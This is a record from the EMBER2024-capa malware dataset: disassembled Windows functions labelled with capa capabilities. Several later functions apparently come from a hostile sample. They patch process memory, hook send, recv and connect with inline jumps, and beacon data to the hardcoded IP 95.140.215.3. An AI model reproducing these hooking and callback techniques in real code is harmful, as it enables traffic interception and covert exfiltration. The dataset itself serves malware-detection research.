joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44d5cc
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
test dl, dl
je 0x44d5e3
add esp, 0xfffffff0
call fcn.00403460
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00418fd8
mov eax, dword [0x451f80]
cmp word [eax + 2], 0
jne 0x44d60b
mov eax, dword [0x451f80]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0044eca4
mov eax, dword [0x452028]
cmp word [eax + 2], 0
jne 0x44d625
mov eax, dword [0x452028]
mov dword [eax + 4], ebx
mov dword [eax], fcn.0044ee9c
mov byte [ebx + 0x34], 0
mov dl, 1
mov eax, dword [0x4112d0]
call fcn.00403124
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x4112d0]
call fcn.00403124
mov dword [ebx + 0xa8], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0x9d], 1
mov byte [ebx + 0xb4], 1
mov dl, 1
mov eax, dword [0x41b1ac]
call fcn.00420df4
mov esi, eax
mov dword [ebx + 0x98], esi
push 0x44d7ac
mov eax, dword [0x451ea8]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconA
mov edx, eax
mov eax, esi
call fcn.004211c4
mov eax, dword [ebx + 0x98]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x44f43c
push pe_nt_image_headers32
lea eax, [ebp - 0x101]
push eax
mov eax, dword [0x451ea8]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 0x101]
push eax
lea eax, [ebp - 0x101]
push eax
call sub.user32.dll_OemToCharA
lea eax, [ebp - 0x101]
mov dl, 0x5c
call fcn.0040be74
test eax, eax
je 0x44d71a
lea edx, [eax + 1]
lea eax, [ebp - 0x101]
call fcn.004081f0
lea eax, [ebp - 0x101]
mov dl, 0x2e
call fcn.0040be9c
test eax, eax
je 0x44d72e
mov byte [eax], 0
lea eax, [ebp - 0x101]
inc eax
push eax
call sub.user32.dll_CharLowerA
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x101]
mov ecx, pe_nt_image_headers32
call fcn.004040fc
mov eax, dword [0x451da8]
cmp byte [eax], 0
jne 0x44d762
mov eax, ebx
call fcn.0044d8d4
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0x9e], 1
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, ebx
call fcn.0044f618
mov eax, ebx
call fcn.0044ffdc
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x44d7a2
call fcn.004034b8
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x44db54
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x453bb0]
cmp dword [eax + 0x30], 0
je 0x44dbfe
cmp dword [ebx + 0x94], 0
jne 0x44dbf8
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x44dae4
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x44dbf8
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x44dbbe
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x44dbf8
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00413638
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x44dbcd
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x44e760
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x44e795
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00403f7c
jmp 0x44e7a2
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00403ee0
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x44f7f4
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x44f835
mov eax, esi
call fcn.00435fbc
test al, al
je 0x44f835
mov eax, dword [ebx + 0x84]
call fcn.00435cb8
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x44f835
push 0
mov eax, dword [ebx + 0x84]
call fcn.00435cb8
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret
Function at 0x10002e00
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
xor edx, edx
mov eax, 0x80
cmp dword [ebp + 8], edx
jne 0x10002e16
or eax, 0xffffffff
pop ebp
ret 0xc
push ebx
mov ebx, dword [ebp + 0xc]
mov ecx, closesocket
test bl, 1
cmovne edx, ecx
test bl, 2
je 0x10002e30
or edx, 0x40000000
push esi
mov esi, ebx
and esi, 0x40
je 0x10002e3e
or edx, 0x20000000
push edi
mov edi, ebx
and edi, 4
je 0x10002e65
test esi, esi
je 0x10002e51
mov ecx, 1
jmp 0x10002e77
test bl, 0x10
mov ecx, 0
sete cl
lea ecx, [ecx*2 + 2]
jmp 0x10002e77
test bl, 0x10
mov ecx, 0
setne cl
lea ecx, [ecx*2 + 3]
test esi, esi
je 0x10002e89
test edi, edi
jne 0x10002e89
pop edi
pop esi
or eax, 0xffffffff
pop ebx
pop ebp
ret 0xc
mov esi, dword [ebp + 0x10]
mov edi, 0x81
test esi, 0x1000
cmovne eax, edi
test esi, 0x8000
je 0x10002ea5
or eax, 2
test esi, 0x100
je 0x10002eb0
or eax, 4
test esi, 0x200
je 0x10002ebd
or eax, 0x4000000
test ebx, 0x800
je 0x10002eca
or eax, 0x20000000
push 0
push eax
push ecx
push 0
push 7
push edx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
test bl, 8
je 0x10002ef5
cmp esi, 0xffffffff
je 0x10002ef5
push 2
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 0xc

Function at 0x10005640
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1404
call fcn.1005e3c0
mov eax, dword [0x100ae1c0]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x13ff
lea eax, [ebp - 0x1403]
mov byte [ebp - 0x1404], 0
push 0
push eax
call fcn.1005ea40
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x1404]
push 0x13fe
push eax
call fcn.10061f9c
add esp, 0x1c
test eax, eax
jns 0x100056d8
movdqu xmm0, xmmword [str.HPR_OutputDebug_error_input_parameter_is_too_long___]
mov eax, dword [0x100a062c]
mov dword [ebp - 0x13d4], eax
mov al, byte [0x100a0630]
movdqu xmmword [ebp - 0x1404], xmm0
mov byte [ebp - 0x13d0], al
movdqu xmm0, xmmword [0x100a060c]
movdqu xmmword [ebp - 0x13f4], xmm0
movdqu xmm0, xmmword [0x100a061c]
movdqu xmmword [ebp - 0x13e4], xmm0
jmp 0x100056f0
mov byte [ebp + eax - 0x1404], 0xa
inc eax
cmp eax, 0x1400
jae 0x1000570b
mov byte [ebp + eax - 0x1404], 0
lea eax, [ebp - 0x1404]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005d9b3
mov esp, ebp
pop ebp
ret
call fcn.100610d1
int3

Function at 0x10006060
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
mov ecx, 4
cmp dword [ebp + 0x14], eax
cmovne eax, ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x1000607c
or eax, 0x10000
push 0
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push ecx
push 0
call fcn.100621c5
add esp, 0x18
pop ebp
ret 0x18
Function at 0x10007440
Capabilities:
Allocate thread local storage
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
mov eax, dword [0x100ae1c0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x100b24d0], 0
mov dword [0x100b24ec], 0
mov dword [0x100b24fc], 0
mov dword [0x100b24f4], 0
mov dword [0x100b24e8], 0
jne 0x100074a8
lea eax, [ebp - 0x194]
mov dword [0x100b24d0], 1
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x10007557
mov dword [0x100b24fc], 1
call fcn.100082f0
test eax, eax
jne 0x10007557
mov dword [0x100b24ec], 1
call fcn.10010a30
test eax, eax
jne 0x10007557
mov dword [0x100b24f4], 1
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x100af4f0], eax
cmp eax, 0xffffffff
je 0x100074f9
mov byte [0x100b2534], 1
jmp 0x10007502
cmp byte [0x100b2534], 0
je 0x10007557
push str.Iphlpapi.dll
mov dword [0x100b24e8], 1
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x100b24d8], eax
test eax, eax
je 0x10007547
push str.GetAdaptersInfo
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.GetAdaptersAddresses
push dword [0x100b24d8]
mov dword [0x100b24dc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x100b24d4], eax
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005d9b3
mov esp, ebp
pop ebp
ret
call fcn.10007570
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
xor ecx, ebp
call fcn.1005d9b3
mov esp, ebp
pop ebp
ret

Function at 0x100079b0
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [ebp + 0x10]
mov eax, edx
mov dword [ebp - 4], eax
mov dword [ebp - 8], ecx
test ebx, ebx
jne 0x100079da
push ebx
push ebx
push dword [ebp + 8]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_select]
pop ebx
mov esp, ebp
pop ebp
ret 0xc
push esi
push edi
call fcn.10001920
push ebx
push 0
push dword [ebp + 8]
mov esi, eax
mov edi, edx
push dword [ebp - 4]
push dword [ebp - 8]
call dword [sym.imp.WS2_32.dll_select]
mov dword [ebp + 0x10], eax
call fcn.10001920
sub eax, esi
mov dword [ebp + 8], eax
sbb edx, edi
jne 0x10007a0c
test eax, eax
je 0x10007a66
push 0
push 0x3e8
push edx
push eax
call fcn.1005ed60
mov ecx, dword [ebx]
cmp ecx, eax
jle 0x10007a26
sub ecx, eax
mov dword [ebx], ecx
jmp 0x10007a2c
mov dword [ebx], 0
mov edx, dword [ebp + 8]
mov esi, dword [ebx + 4]
imul ecx, eax, 0x3e8
mov eax, edx
sub eax, ecx
imul eax, eax, 0x3e8
cmp esi, eax
jle 0x10007a5f
sub ecx, edx
imul eax, ecx, 0x3e8
pop edi
add eax, esi
mov dword [ebx + 4], eax
mov eax, dword [ebp + 0x10]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov dword [ebx + 4], 0
mov eax, dword [ebp + 0x10]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x1000a730
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x100b2530], 1
push esi
mov esi, ecx
jne 0x1000a747
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, 0x186a0
jge 0x1000a762
push str.HPR_AsyncIO_UsePreMem_iIOCount__10000__make_it_MALLOC_SIZE__Use_Default_n
mov esi, 0x186a0
call edi
lea eax, [esi*8]
sub eax, esi
shl eax, 3
push ebx
push eax
call fcn.1006061d
mov ebx, eax
add esp, 4
mov dword [0x100b2520], ebx
test ebx, ebx
jne 0x1000a795
push str.HPR_AsyncIO_UsePreMem_malloc_Err__Use_Default_n
call edi
pop ebx
pop edi
or eax, 0xffffffff
pop esi
mov esp, ebp
pop ebp
ret
test esi, esi
jle 0x1000a7ee
xor edi, edi
jmp 0x1000a7a0
cmp dword [0x100b2504], 0
lea edx, [edi + ebx]
je 0x1000a7d1
mov ecx, dword [0x100b252c]
mov eax, dword [ecx + 4]
mov dword [ecx + eax*4 + 0xc], edx
inc dword [ecx + 4]
cmp dword [ecx + 4], 0x186a0
jb 0x1000a7cc
mov dword [ecx + 4], 0
inc dword [ecx + 8]
jmp 0x1000a7e8
lea eax, [ebp - 4]
mov dword [ebp - 4], edx
push eax
mov ecx, 0x100b2594
call fcn.1000bca0
mov ebx, dword [0x100b2520]
add edi, 0x38
dec esi
jne 0x1000a7a0
pop ebx
pop edi
mov dword [0x100b2530], 1
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000ef80
Capabilities:
Create thread

Disassembly:
push esi
mov esi, ecx
push edi
lea edi, [esi + 8]
test edi, edi
je 0x1000ef92
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp byte [esi], 0
jne 0x1000f00c
cmp byte [esi + 0x20], 0
je 0x1000efa4
mov esi, 0xfffffffe
jmp 0x1000f00e
cmp dword [esi + 0x44], 0
jne 0x1000efda
push 0x100b1390
push 0x200000
call fcn.10060134
add esp, 8
mov dword [esi + 0x44], eax
test eax, eax
jne 0x1000efc8
or esi, 0xffffffff
jmp 0x1000f00e
lea ecx, [esi + 0x50]
mov dword [esi + 0x48], eax
mov dword [esi + 0x4c], 0x200000
call fcn.10010360
push 0
push 0x10000
push esi
push 0x1000f7c0
push 0x20000
push 0
mov dword [esi + 0x28], 0
call fcn.100621c5
add esp, 0x18
mov dword [esi + 0x24], eax
test eax, eax
jne 0x1000f009
or esi, 0xffffffff
jmp 0x1000f00e
mov byte [esi], 1
xor esi, esi
test edi, edi
je 0x1000f019
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
mov eax, esi
pop esi
ret
Function at 0x1000f110
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
push edi
lea edi, [esi + 0x64]
test edi, edi
je 0x1000f125
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp byte [ebp + 8], 0
je 0x1000f16c
push ebx
push 0x104
lea ebx, [esi + 0x8c]
push str.._hprlog_
push ebx
call fcn.1005d600
add esp, 0xc
mov dword [esi + 0x88], 0x200000
test ebx, ebx
je 0x1000f15c
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov al, byte [ebp + 0x14]
mov byte [esi + 0x23], 1
mov byte [esi + 0x84], al
pop ebx
jmp 0x1000f1b3
cmp byte [esi + 0x23], 0
je 0x1000f1ac
mov eax, dword [esi + 0x7c]
mov byte [esi + 0x23], 0
cmp eax, 0xffffffff
je 0x1000f18c
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0x7c], 0xffffffff
push 0x104
lea eax, [esi + 0x8c]
push 0
push eax
call fcn.1005ea40
add esp, 0xc
mov dword [esi + 0x88], 0
mov byte [esi + 0x84], 1
test edi, edi
je 0x1000f1be
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
xor eax, eax
pop esi
pop ebp
ret 0x10
Function at 0x10010b30
Capabilities:
Create thread

Disassembly:
push ebx
mov ebx, ecx
mov eax, dword [ebx + 8]
cmp dword [ebx + 0x10], eax
jne 0x10010b4d
push str.schina_____HPR_CreateThread_Local__pThreadPool__nCurrCount__pThreadPool__nMaxCount__error__return__1__1_n
call fcn.10005640
add esp, 4
or eax, 0xffffffff
pop ebx
ret
push esi
push edi
xor edi, edi
test eax, eax
je 0x10010c2d
lea esi, [ebx + 0x34]
lea esp, [esp]
cmp dword [esi + 0x10], 0
je 0x10010b75
inc edi
add esi, 0x20
cmp edi, eax
jb 0x10010b60
pop edi
pop esi
or eax, 0xffffffff
pop ebx
ret
push 0
push 0xffff
push 0
push 0
mov dword [esi + 0x18], 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov ecx, eax
test ecx, ecx
je 0x10010c20
mov dword [esi + 0x14], ecx
mov eax, 0x100000
mov dword [esi + 0xc], 0
mov edx, 0x10000
mov dword [esi + 4], ebx
mov dword [esi], edi
mov ecx, dword [ebx + 0x14]
test ecx, ecx
push 0
cmove ecx, eax
xor eax, eax
test ecx, ecx
cmovne eax, edx
push eax
push esi
push 0x10010ed0
push ecx
push 0
call fcn.100621c5
add esp, 0x18
test eax, eax
jne 0x10010c0d
push str.schina_____HPR_CreateThread_Local_HPR_Thread_Create_error__return__1_3_n
call fcn.10005640
lea eax, [esi + 0x14]
add esp, 4
test eax, eax
je 0x10010bf3
push dword [eax]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
or eax, 0xffffffff
movdqu xmmword [esi], xmm0
pop edi
movdqu xmmword [esi + 0x10], xmm0
mov dword [esi + 0x10], 0
pop esi
pop ebx
ret
mov dword [esi + 0x10], eax
pop edi
mov dword [esi + 8], 1
inc dword [ebx + 0x10]
xor eax, eax
pop esi
pop ebx
ret
push str.schina_____HPR_CreateThread_Local_HPR_SemCreate_error__return__1_2_n
call fcn.10005640
add esp, 4
pop edi
pop esi
or eax, 0xffffffff
pop ebx
ret

Function at 0x10014f70
Capabilities:
Create thread

Disassembly:
push esi
lea esi, [ecx + 8]
mov ecx, esi
call fcn.1001b3e0
cmp dword [esi + 0x1c], 0
jl 0x10014fc6
jg 0x10014f89
cmp dword [esi + 0x18], 0
jb 0x10014fc6
push edi
lea edi, [esi + 0x24]
lea esi, [edi + 4]
test esi, esi
je 0x10014f9b
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [edi + 0x34], 0
jne 0x10014fba
push 0
push 0
push edi
push 0x1001e4a0
push 0
push 0
call fcn.100621c5
add esp, 0x18
mov dword [edi + 0x34], eax
test esi, esi
je 0x10014fc5
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
ret
Function at 0x100015d0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x10937664]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
push esi
mov dword [ebp - 0x28], 0x2d582f2e
mov dword [ebp - 0x24], 0x6f47654d
mov dword [ebp - 0x20], 0x7461642e
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov byte [ebp - 0x14], bl
mov word [ebp - 0x2c], 0xeb
mov dword [ebp - 0x10], 0xa47e8668
mov dword [ebp - 0xc], 0xf4bbe800
mov dword [ebp - 8], 0x90900010
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessId]
push eax
push 1
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, ebx
je 0x1000167a
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ebx
push 0x14
lea eax, [ebp - 0x28]
push eax
push 0xa47e86
push esi
call edi
push ebx
push 2
lea ecx, [ebp - 0x2c]
push ecx
push 0x943796
push esi
call edi
push ebx
push 0xc
lea edx, [ebp - 0x10]
push edx
push 0x941bb9
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.10009a8b
mov esp, ebp
pop ebp
ret
Function at 0x10001a20
Capabilities:
Create thread

Disassembly:
push ebx
push esi
push edi
call fcn.100015d0
push 0x33
push 0
push 0x109398a8
call fcn.1000c150
mov cl, 0x2f
push 0x109398a8
mov dword [0x109398a8], 0x72617420
mov dword [0x109398ac], 0x74682074
mov dword [0x109398b0], 0x3a737074
mov dword [0x109398b4], 0x77772f2f
mov dword [0x109398b8], 0x61662e77
mov dword [0x109398bc], 0x6f626563
mov dword [0x109398c0], 0x632e6b6f
mov dword [0x109398c4], 0x452f6d6f
mov dword [0x109398c8], 0x74707967
mov dword [0x109398cc], 0x6361482e
mov dword [0x109398d0], 0x2e72656b
mov dword [0x109398d4], 0x35313032
and bh, al
add eax, 0x109398d8
jb 0x10001a47
or eax, 0x109398da
call fcn.1000a4c4
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 0x10
push 0
push 0
push 0
push 0x10001720
push 0
push 0
call esi
push 0
push 0
push 0
push 0x10001690
push 0
push 0
call esi
push 0
push 0
push 0
push 0x10001130
push 0
push 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor eax, eax
push 0x100011d0
push str._snprintf
push str.msvcr90.dll
mov dword [0x10939930], eax
mov dword [0x10939934], eax
mov dword [0x10939938], eax
mov dword [0x1093993c], eax
mov dword [0x10939940], eax
mov dword [0x10939944], eax
mov dword [0x10939948], eax
mov dword [0x1093994c], eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, 0x10939928
mov ebx, eax
call fcn.10002990
add esp, 4
push 0x100014b0
push str.send
push str.ws2_32.dll
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, 0x10939920
mov ebx, eax
call fcn.10002990
add esp, 4
push 0x100015c0
push str.recv
push str.ws2_32.dll
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, 0x10939918
mov ebx, eax
call fcn.10002990
add esp, 4
push 0x100013a0
push str.connect
push str.ws2_32.dll
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, 0x10939910
mov ebx, eax
call fcn.10002990
add esp, 4
pop edi
pop esi
pop ebx
ret

Function at 0x10002910
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push edi
call esi
lea ecx, [ebp - 4]
push ecx
push 0x40
push 5
push 0x109381a0
call esi
lea edx, [ebp - 4]
push edx
push 0x40
push 5
push 0x109381a8
call esi
mov eax, dword [edi]
pop esi
cmp eax, dword [0x109381a0]
jne 0x10002963
mov cl, byte [0x109381a4]
cmp cl, byte [edi + 4]
jne 0x10002963
mov eax, 0xb
mov esp, ebp
pop ebp
ret
cmp eax, dword [0x109381a8]
jne 0x1000297b
mov dl, byte [0x109381ac]
mov eax, 5
cmp dl, byte [edi + 4]
je 0x1000297e
mov eax, dword [ebp + 8]
mov esp, ebp
pop ebp
ret
Function at 0x10002990
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [esi + 4]
push edi
push eax
mov edi, ebx
call fcn.10002910
mov dword [esi + 4], eax
add eax, 5
push eax
call fcn.10009fdd
mov edx, dword [esi + 4]
add esp, 8
lea ecx, [ebp - 8]
push ecx
push 0x40
add edx, 5
mov edi, eax
push edx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [esi + 4]
push eax
push ebx
push edi
call fcn.1000b8f0
mov ecx, dword [esi + 4]
mov byte [edi + ecx], 0xe9
mov eax, dword [esi + 4]
mov edx, ebx
sub edx, edi
sub edx, 5
mov dword [edi + eax + 1], edx
mov eax, dword [ebp + 8]
add esp, 0xc
sub eax, ebx
sub eax, 5
mov dword [ebp - 7], eax
mov dl, byte [ebp - 4]
mov byte [ebp - 8], 0xe9
mov ecx, dword [ebp - 8]
mov dword [ebx], ecx
mov byte [ebx + 4], dl
mov dword [esi], edi
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x10003180
Capabilities:
Connect socket
Initialize winsock library

Disassembly:
push esi
mov esi, dword [0x109398dc]
push edi
push str._95.140.215.3
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esi + 0x194], eax
mov eax, 2
lea edi, [esi + 0x190]
push 0x18b1
mov word [edi], ax
call dword [sym.imp.WS2_32.dll_htons]
push esi
push 0x202
mov word [esi + 0x192], ax
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x100031e9
push eax
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0x1a0], eax
cmp eax, 0xffffffff
je 0x100031e9
push 0x10
push edi
push eax
call dword [sym.imp.WS2_32.dll_connect]
pop edi
pop esi
ret

Function at 0x100031f0
Capabilities:
Connect socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_WSACleanup]
push edi
mov edi, dword [sym.imp.WS2_32.dll_closesocket]
cmp dword [ebp + 0x1c], 0x10
mov eax, dword [ebp + 8]
jae 0x1000320d
lea eax, [ebp + 8]
mov ecx, dword [ebp + 0x18]
mov edx, dword [esi + 0x1a0]
push 0
push ecx
push eax
push edx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x10003273
mov eax, dword [esi + 0x1a0]
push eax
call edi
call ebx
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x10003201
push eax
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi + 0x1a0], eax
cmp eax, 0xffffffff
je 0x10003201
push 0x10
lea ecx, [esi + 0x190]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_connect]
jmp 0x10003201
cmp dword [ebp + 0x1c], 0x10
pop edi
pop ebx
jb 0x10003287
mov edx, dword [ebp + 8]
push edx
call fcn.10009c10
add esp, 4
pop ebp
ret 0x1c